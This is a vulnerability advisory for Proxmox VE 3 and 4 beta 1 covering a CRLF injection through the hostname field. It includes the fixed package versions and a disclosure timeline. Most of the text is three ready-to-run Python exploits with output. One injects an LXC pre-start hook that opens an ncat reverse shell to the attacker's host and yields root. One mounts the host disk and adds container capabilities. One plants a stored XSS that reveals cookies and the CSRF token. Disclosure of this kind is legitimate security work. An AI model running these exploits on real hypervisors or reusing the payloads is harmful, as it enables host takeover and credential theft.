A critical vulnerability has been found in Proxmox VE 3 (OpenVZ) and Proxmox VE 4 beta 1 (LXC) in the virtual machine creating form allowing authenticated remote users to overwrite configuration files settings.

Configuration file overwriting

Because the Proxmox VE application doesn't check the user-provided "hostname" POST parameter, it's possible to overwrite configuration files using a CRLF injection. In Proxmox VE 3, we successfully gained access to the host filesystem from a container and elevated our container capabilities, allowing us to obtain user credentials and sniff the network. In Proxmox VE 4b1, because LXC allows "hooks" to execute commands, we successfully gained root privileges on the host. It's also possible to exploit Proxmox clusters.

Access Vector: remote

Security Risk: high

Proof of Concept

The following exploit works for Proxmox VE 4 beta 1. The lxc.hook.pre-start configuration variable is used to trigger the ncat reverse-shell payload when the container is started.

#!/usr/bin/env python

import requests
import socket
import telnetlib
from threading import Thread
import argparse
from time import sleep

def exploit(target, username, password, vmid, template, realm, reverse, hostname):
    payload = "ncat %s %s -e /bin/sh" % reverse

    print "[~] Obtaining authorization key..."
    apireq = requests.post("https://%s/api2/extjs/access/ticket" % target,
                           verify=False,
                           data={"username": username,
                                 "password": password,
                                 "realm": realm})
    response = apireq.json()
    if "success" in response and response["success"]:
        print "[+] Authentication success."
        ticket = response["data"]["ticket"]
        csrfticket = response["data"]["CSRFPreventionToken"]
        createvm = requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname),
                                 verify=False,
                                 headers={"CSRFPreventionToken": csrfticket},
                                 cookies={"PVEAuthCookie": ticket},
                                 data={"vmid": vmid,
                                       "hostname":"sysdream\nlxc.hook.pre-start=%s &&" % payload,
                                       "storage": "local",
                                       "password": "sysdream",
                                       "ostemplate": template,
                                       "memory": 512,
                                       "swap": 512,
                                       "disk": 2,
                                       "cpulimit": 1,
                                       "cpuunits": 1024,
                                       "net0":"name=eth0"})
        if createvm.status_code == 200:
            response = createvm.json()
            if "success" in response and response["success"]:
                print "[+] Container Created... (Sleeping 20 seconds)"
                sleep(20)
                print "[+] Starting container..."
                startcontainer = requests.post("https://%s/api2/extjs/nodes/%s/lxc/%s/status/start" % (target, hostname, vmid), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket})
                if startcontainer.status_code == 200:
                    response = startcontainer.json()
                    if "success" in response and response["success"]:
                        print "[+] Exploit should be working..."
                    else:
                        print "[!] Can't start container ! Try to start it manually."
            else:
                print "[!] Error creating container..."
                print response
        else:
            print "[!] Error creating Container. Bad HTTP Status code : %d" % createvm.status_code
    else:
        print "[!] Authentication failed - Check the credentials..."

def handler(lport):
    print "[~] Starting handler on port %d" % lport
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    conn, addr = s.accept()

    print "[+] Connection from %s" % addr[0]

    t.sock = conn

    print "[+] Pop the shell ! :)"

    t.interact()

if __name__ == "__main__":
    print "[~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n"

    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True, help="The target host (eg : 10.0.0.1:8006)")

    parser.add_argument("--username", required=True)
    parser.add_argument("--password", required=True)

    parser.add_argument("--localhost", required=True, help="Local host IP for the connect-back shell.")
    parser.add_argument("--localport", required=True, type=int, help="Local port for local bind handler")

    parser.add_argument("--vmid", required=False, default="999", type=int, help="A unique ID for the container, exploit will fail if the ID already exists.")

    parser.add_argument("--template", required=False, default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz",
                        help="An existing template in the hypervisor "
                             "(default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)")

    parser.add_argument("--realm", required=False, default="pam", choices=["pve", "pam"])

    parser.add_argument("--hostname", required=True, help="The target hostname")

    args = parser.parse_args()

    handlerthr = Thread(target=handler, args=(args.localport,))
    handlerthr.start()

    exploitthr = Thread(target=exploit, args=(args.target, args.username, args.password, args.vmid, args.template, args.realm, (args.localhost, args.localport), args.hostname))
    exploitthr.start()

    handlerthr.join()

Shell output :

[email protected] ~/Lab/Proxmox_Exploits $ python remoteroot.py --target 10.25.0.101:8006 --username nicolas --password pveuser --localhost 10.25.0.10 --localport 9999 --vmid 456 --realm pve --hostname pve4
[~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>
[~] Starting handler on port 9999
[~] Obtaining authorization key...
[+] Authentication success.
[+] Container Created... (Sleeping 20 seconds)
[+] Exploit should be working...
[+] Connection from 10.25.0.101
[+] Pop the shell !
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

The following exploit works for Proxmox VE 3. This proof of concept mount the host /dev/dm-0 on the container and add multiples capabilities on the container.

#!/usr/bin/env python

import requests
import socket
import telnetlib
from threading import Thread
import argparse

def exploit(target, username, password, vmid, template, realm, hostname):
    payload = "sysdream\"\nDEVNODES=\"dm-0:r \"\nCAPABILITIES=\"mknod:on, sys_chroot:on, sys_rawio: on, net_admin:on, dac_override:on\"\n#"
    print "[~] Obtaining authorization key..."
    apireq = requests.post("https://%s/api2/extjs/access/ticket" % target,
                           verify=False,
                           data={"username": username,
                                 "password": password,
                                 "realm": realm})
    response = apireq.json()
    if "success" in response and response["success"]:
        print "[+] Authentication success."
        ticket = response["data"]["ticket"]
        csrfticket = response["data"]["CSRFPreventionToken"]
        createvm = requests.post("https://%s/api2/extjs/nodes/%s/openvz" % (target, hostname),
                                 verify=False,
                                 headers={"CSRFPreventionToken": csrfticket},
                                 cookies={"PVEAuthCookie": ticket},
                                 data={"vmid": vmid,
                                       "hostname": payload,
                                       "storage": "local",
                                       "password": "sysdream",
                                       "ostemplate": template,
                                       "memory": 512,
                                       "swap": 512,
                                       "disk": 2,
                                       "cpus": 1,
                                       "netif":"ifname=eth0,bridge=vmbr0"})
        if createvm.status_code == 200:
            response = createvm.json()
            if "success" in response and response["success"]:
                print "[+] Countainer (Capabilities + DM-0 Mount) Created."
            else:
                print "[!] Error creating container..."
                print response
        else:
            print "[!] Error creating Container. Bad HTTP Status code : %d" % createvm.status_code
    else:
        print "[!] Authentication failed - Check the credentials..."

if __name__ == "__main__":
    print "[~] Proxmox VE 3 Authenticated Privileges Escalation Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n"

    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True, help="The target host (eg : 10.0.0.1:8006)")

    parser.add_argument("--username", required=True)
    parser.add_argument("--password", required=True)

    parser.add_argument("--vmid", required=False, default="999", type=int, help="A unique ID for the container, exploit will fail if the ID already exists.")

    parser.add_argument("--template", required=False, default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz",
                        help="An existing template in the hypervisor (default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)")

    parser.add_argument("--hostname", required=True, help="The target hostname")

    parser.add_argument("--realm", required=False, default="pam", choices=["pve", "pam"])

    args = parser.parse_args()

    exploit(args.target, args.username, args.password, args.vmid, args.template, args.realm, args.hostname)

Shell output :

[email protected] ~/Lab/Proxmox_Exploits $ python privescalation.py --username root --password sysofdream --vmid 123 --realm pam --target 10.25.0.110:8006 --hostname pve3
[~] Proxmox VE 3 Authenticated Privileges Escalation Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>

[~] Obtaining authorization key...
[+] Authentication success.
[+] Countainer (Capabilities + DM-0 Mount) Created.

-- On container :

[email protected]:/# ls -lah /dev/dm-0
brw-r----T 1 root root 253, 0 Aug 23 00:33 /dev/dm-0

Stored Cross-Site Scripting

Same vulnerability, different usage. Works on Proxmox 3 and Proxmox 4b1.

Access Vector: remote

Security Risk: high

Proof of Concept

The following exploit will create a stored XSS displaying the user cookies and the PVE CSRFPreventionToken.

#!/usr/bin/env python

import requests
import socket
import telnetlib
from threading import Thread
import argparse

def exploit(target, username, password, vmid, template, realm, version, hostname):
    payload = "eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,45,34,32,43,32,80,86,69,46,67,83,82,70,80,114,101,118,101,110,116,105,111,110,84,111,107,101,110,41,59))"
    print "[~] Obtaining authorization key..."
    apireq = requests.post("https://%s/api2/extjs/access/ticket" % target,
                           verify=False,
                           data={"username": username,
                                 "password": password,
                                 "realm": realm})
    response = apireq.json()
    if "success" in response and response["success"]:
        print "[+] Authentication success."
        ticket = response["data"]["ticket"]
        csrfticket = response["data"]["CSRFPreventionToken"]
        if version == "4":
            createvm = requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname),
                                     verify=False,
                                     headers={"CSRFPreventionToken": csrfticket},
                                     cookies={"PVEAuthCookie": ticket},
                                     data={"vmid": vmid,
                                           "hostname":"<img/src='x'/onerror=%s>" % payload,
                                           "storage": "local",
                                           "password": "sysdream",
                                           "ostemplate": template,
                                           "memory": 512,
                                           "swap": 512,
                                           "disk": 2,
                                           "cpulimit": 1,
                                           "cpuunits": 1024,
                                           "net0":"name=eth0"})
        elif version == "3":
               createvm = requests.post("https://%s/api2/extjs/nodes/%s/openvz" % (target, hostname),
                                     verify=False, headers={"CSRFPreventionToken": csrfticket},
                                     cookies={"PVEAuthCookie": ticket},
                                     data={"vmid": vmid,
                                           "hostname":"<img/src='x'/onerror=%s>" % payload,
                                           "storage": "local",
                                           "password": "sysdream",
                                           "ostemplate": template,
                                           "memory": 512,
                                           "swap": 512,
                                           "disk": 2,
                                           "cpus": 1,
                                           "netif":"ifname=eth0,bridge=vmbr0"})
        if createvm.status_code == 200:
            response = createvm.json()
            if "success" in response and response["success"]:
                print "[+] Stored XSS Created."
            else:
                print "[!] Error creating container..."
                print response
        else:
            print "[!] Error creating Container. Bad HTTP Status code : %d" % createvm.status_code
    else:
        print "[!] Authentication failed - Check the credentials..."

if __name__ == "__main__":
    print "[~] Proxmox VE 3/4b1 Stored Cross Site Scripting - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n"

    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True, help="The target host (eg : 10.0.0.1:8006)")

    parser.add_argument("--username", required=True)
    parser.add_argument("--password", required=True)

    parser.add_argument("--vmid", required=False, default="999", type=int, help="A unique ID for the container, exploit will fail if the ID already exists.")

    parser.add_argument("--template", required=False, default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz",
                        help="An existing template in the hypervisor (default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)")

    parser.add_argument("--realm", required=False, default="pam", choices=["pve", "pam"])

    parser.add_argument("--version", default="3", choices=["3", "4"], help="The Proxmox version to exploit")

    parser.add_argument("--hostname", required=True, help="The target hostname")

    args = parser.parse_args()

    exploit(args.target, args.username, args.password, args.vmid, args.template, args.realm, args.version, args.hostname)

Vulnerable code

The vulnerable code is located in the /usr/share/perl5/PVE/LXC.pm for Proxmox 4.

For Proxmox 3, the vulnerable code is located in /usr/share/perl5/PVE/OpenVZ.pm.

Solution

Proxmox 4 : Update to pve-container 0.9-22

Proxmox 3 : Update to pve-manager 3.4-10

Timeline (dd/mm/yyyy)

  • 04/09/2015 : Initial discovery.
  • 17/09/2015 : Contact with proxmox team.
  • 18/09/2015 : Proxmox fixes the vulnerabilities.
  • 18/09/2015 : Proxmox releases a new pve-container version (0.9-22)
  • 18/09/2015 : Proxmox releases a new pve-manager version (3.4-10)

Affected versions

  • Proxmox VE 4
  • Proxmox VE 3

Credits

  • Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)